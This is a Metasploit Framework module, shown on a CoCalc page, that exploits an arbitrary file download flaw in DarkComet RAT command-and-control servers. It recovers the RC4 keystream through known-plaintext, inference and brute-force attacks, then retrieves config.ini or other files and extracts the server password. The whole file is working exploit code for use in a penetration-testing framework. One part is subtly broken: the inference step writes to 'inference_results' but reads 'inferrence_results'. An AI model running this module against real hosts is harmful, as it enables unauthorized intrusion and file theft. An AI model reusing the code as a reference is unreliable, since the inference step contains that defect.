CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/darkcomet_filedownloader.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'DarkComet Server Remote File Download Exploit',
13
'Description' => %q{
14
This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.
15
The exploit does not need to know the password chosen for the bot/server communication.
16
},
17
'License' => MSF_LICENSE,
18
'Author' =>
19
[
20
'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery
21
'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack
22
],
23
'References' =>
24
[
25
[ 'URL', 'https://www.nccgroup.com/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],
26
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ]
27
],
28
'DisclosureDate' => '2012-10-08',
29
'Platform' => 'win'
30
))
31
32
register_options(
33
[
34
Opt::RPORT(1604),
35
Opt::RHOST('0.0.0.0'),
36
37
OptAddressLocal.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),
38
OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),
39
OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),
40
OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),
41
OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),
42
OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])
43
44
])
45
end
46
47
# Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext
48
def xor_strings(s1, s2)
49
s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
50
end
51
52
def get_keystream(ciphertext, known_plaintext)
53
c = [ciphertext].pack('H*')
54
if known_plaintext.length > c.length
55
return xor_strings(c, known_plaintext[0, c.length])
56
elsif c.length > known_plaintext.length
57
return xor_strings(c[0, known_plaintext.length], known_plaintext)
58
else
59
return xor_strings(c, known_plaintext)
60
end
61
end
62
63
def use_keystream(plaintext, keystream)
64
if keystream.length > plaintext.length
65
return xor_strings(plaintext, keystream[0, plaintext.length]).unpack('H*')[0].upcase
66
else
67
return xor_strings(plaintext, keystream).unpack('H*')[0].upcase
68
end
69
end
70
71
# Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)
72
# since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength
73
def rc4_initialize(key)
74
@q1 = 0
75
@q2 = 0
76
@key = []
77
key.each_byte { |elem| @key << elem } while @key.size < 256
78
@key.slice!(256..@key.size - 1) if @key.size >= 256
79
@s = (0..255).to_a
80
j = 0
81
0.upto(255) do |i|
82
j = (j + @s[i] + @key[i]) % 256
83
@s[i], @s[j] = @s[j], @s[i]
84
end
85
end
86
87
def rc4_keystream
88
@q1 = (@q1 + 1) % 256
89
@q2 = (@q2 + @s[@q1]) % 256
90
@s[@q1], @s[@q2] = @s[@q2], @s[@q1]
91
@s[(@s[@q1] + @s[@q2]) % 256]
92
end
93
94
def rc4_process(text)
95
text.each_byte.map { |i| (i ^ rc4_keystream).chr }.join
96
end
97
98
def dc_encryptpacket(plaintext, key)
99
rc4_initialize(key)
100
rc4_process(plaintext).unpack('H*')[0].upcase
101
end
102
103
# Try to execute the exploit
104
def try_exploit(exploit_string, keystream, bruting)
105
connect
106
idtype_msg = sock.get_once(12)
107
108
if idtype_msg.length != 12
109
disconnect
110
return nil
111
end
112
113
if datastore['KEY'] != ''
114
exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])
115
else
116
# If we don't have a key we need enough keystream
117
if keystream.nil?
118
disconnect
119
return nil
120
end
121
122
if keystream.length < exploit_string.length
123
disconnect
124
return nil
125
end
126
127
exploit_msg = use_keystream(exploit_string, keystream)
128
end
129
130
sock.put(exploit_msg)
131
132
if bruting
133
begin
134
ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])
135
rescue Timeout::Error
136
disconnect
137
return nil
138
end
139
else
140
ack_msg = sock.get_once(3)
141
end
142
143
if ack_msg != "\x41\x00\x43"
144
disconnect
145
return nil
146
# Different protocol structure for versions >= 5.1
147
elsif datastore['NEWVERSION'] == true
148
if bruting
149
begin
150
filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i
151
rescue Timeout::Error
152
disconnect
153
return nil
154
end
155
else
156
filelen = sock.get_once(10).to_i
157
end
158
if filelen == 0
159
disconnect
160
return nil
161
end
162
163
if datastore['KEY'] != ''
164
a_msg = dc_encryptpacket('A', datastore['KEY'])
165
else
166
a_msg = use_keystream('A', keystream)
167
end
168
169
sock.put(a_msg)
170
171
if bruting
172
begin
173
filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])
174
rescue Timeout::Error
175
disconnect
176
return nil
177
end
178
else
179
filedata = sock.get_once(filelen)
180
end
181
182
if filedata.length != filelen
183
disconnect
184
return nil
185
end
186
187
sock.put(a_msg)
188
disconnect
189
return filedata
190
else
191
filedata = ''
192
193
if bruting
194
begin
195
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
196
rescue Timeout::Error
197
disconnect
198
return nil
199
end
200
else
201
msg = sock.get_once(1024)
202
end
203
204
while (!msg.nil?) && (msg != '')
205
filedata += msg
206
if bruting
207
begin
208
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
209
rescue Timeout::Error
210
break
211
end
212
else
213
msg = sock.get_once(1024)
214
end
215
end
216
217
disconnect
218
219
if filedata == ''
220
return nil
221
else
222
return filedata
223
end
224
end
225
end
226
227
# Fetch a GetSIN response from C2 server
228
def fetch_getsin
229
connect
230
idtype_msg = sock.get_once(12)
231
232
if idtype_msg.length != 12
233
disconnect
234
return nil
235
end
236
237
keystream = get_keystream(idtype_msg, 'IDTYPE')
238
server_msg = use_keystream('SERVER', keystream)
239
sock.put(server_msg)
240
241
getsin_msg = sock.get_once(1024)
242
disconnect
243
getsin_msg
244
end
245
246
# Carry out the crypto attack when we don't have a key
247
def crypto_attack(exploit_string)
248
getsin_msg = fetch_getsin
249
if getsin_msg.nil?
250
return nil
251
end
252
253
getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'
254
keystream = get_keystream(getsin_msg, getsin_kp)
255
256
if keystream.length < exploit_string.length
257
missing_bytecount = exploit_string.length - keystream.length
258
259
print_status("Missing #{missing_bytecount} bytes of keystream ...")
260
261
inferrence_segment = ''
262
brute_max = 4
263
264
if missing_bytecount > brute_max
265
print_status("Using inference attack ...")
266
267
# Offsets to monitor for changes
268
target_offset_range = []
269
for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)
270
target_offset_range << i
271
end
272
273
# Store inference results
274
inference_results = {}
275
276
# As long as we haven't fully recovered all offsets through inference
277
# We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]
278
getsin_observation = [''] * 4
279
buffer_head = 0
280
281
for i in 0..2
282
getsin_observation[i] = [fetch_getsin].pack('H*')
283
Rex.sleep(0.5)
284
end
285
286
buffer_tail = 3
287
288
# Actual inference attack happens here
289
while !target_offset_range.empty?
290
getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')
291
Rex.sleep(0.5)
292
293
# We check if we spot a change within a position between two consecutive items within our circular buffer
294
# (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0
295
target_offset_range.each do |x|
296
index = buffer_head
297
298
while index != buffer_tail do
299
next_index = (index + 1) % 4
300
301
# The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same
302
# observations as well while being constant in at least one previous or subsequent observation
303
if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))
304
target_offset_range.delete(x)
305
inference_results[x] = xor_strings(getsin_observation[index][x], '9')
306
break
307
end
308
index = next_index
309
end
310
end
311
312
# Update circular buffer head & tail
313
buffer_tail = (buffer_tail + 1) % 4
314
# Move head to right once tail wraps around, discarding oldest item in circular buffer
315
if buffer_tail == buffer_head
316
buffer_head = (buffer_head + 1) % 4
317
end
318
end
319
320
# Inference attack done, reconstruct final keystream segment
321
inf_seg = ["\x00"] * (keystream.length + missing_bytecount)
322
inferrence_results.each do |x, val|
323
inf_seg[x] = val
324
end
325
326
inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join
327
missing_bytecount = brute_max
328
end
329
330
if missing_bytecount > brute_max
331
print_status("Improper keystream recovery ...")
332
return nil
333
end
334
335
print_status("Initiating brute force ...")
336
337
# Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)
338
charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
339
char_range = missing_bytecount.times.map { charset }
340
char_range.first.product(*char_range[1..-1]) do |x|
341
p = x.join
342
candidate_plaintext = getsin_kp + p
343
candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment
344
filedata = try_exploit(exploit_string, candidate_keystream, true)
345
346
if !filedata.nil?
347
return filedata
348
end
349
end
350
return nil
351
end
352
353
try_exploit(exploit_string, keystream, false)
354
end
355
356
def parse_password(filedata)
357
filedata.each_line { |line|
358
elem = line.strip.split('=')
359
if elem.length >= 1
360
if elem[0] == 'PASSWD'
361
if elem.length == 2
362
return elem[1]
363
else
364
return ''
365
end
366
end
367
end
368
}
369
return nil
370
end
371
372
def run
373
# Determine exploit string
374
if datastore['NEWVERSION'] == true
375
if (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')
376
exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'
377
else
378
exploit_string = 'QUICKUP1|config.ini|'
379
end
380
elsif (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')
381
exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'
382
else
383
exploit_string = 'UPLOADconfig.ini|1|1|'
384
end
385
386
# Run exploit
387
if datastore['KEY'] != ''
388
filedata = try_exploit(exploit_string, nil, false)
389
else
390
filedata = crypto_attack(exploit_string)
391
end
392
393
# Harvest interesting credentials, store loot
394
if !filedata.nil?
395
# Automatically try to extract password from config.ini if we haven't set a key yet
396
if datastore['KEY'] == ''
397
password = parse_password(filedata)
398
if password.nil?
399
print_status("Could not find password in config.ini ...")
400
elsif password == ''
401
print_status("C2 server uses empty password!")
402
else
403
print_status("C2 server uses password [#{password}]")
404
end
405
end
406
407
# Store to loot
408
if datastore['STORE_LOOT'] == true
409
print_status("Storing data to loot...")
410
if (datastore['KEY'] == '') && (datastore['TARGETFILE'] != '')
411
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")
412
else
413
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")
414
end
415
else
416
print_status(filedata.to_s)
417
end
418
else
419
print_error("Attack failed or empty config file encountered ...")
420
end
421
end
422
end
423
424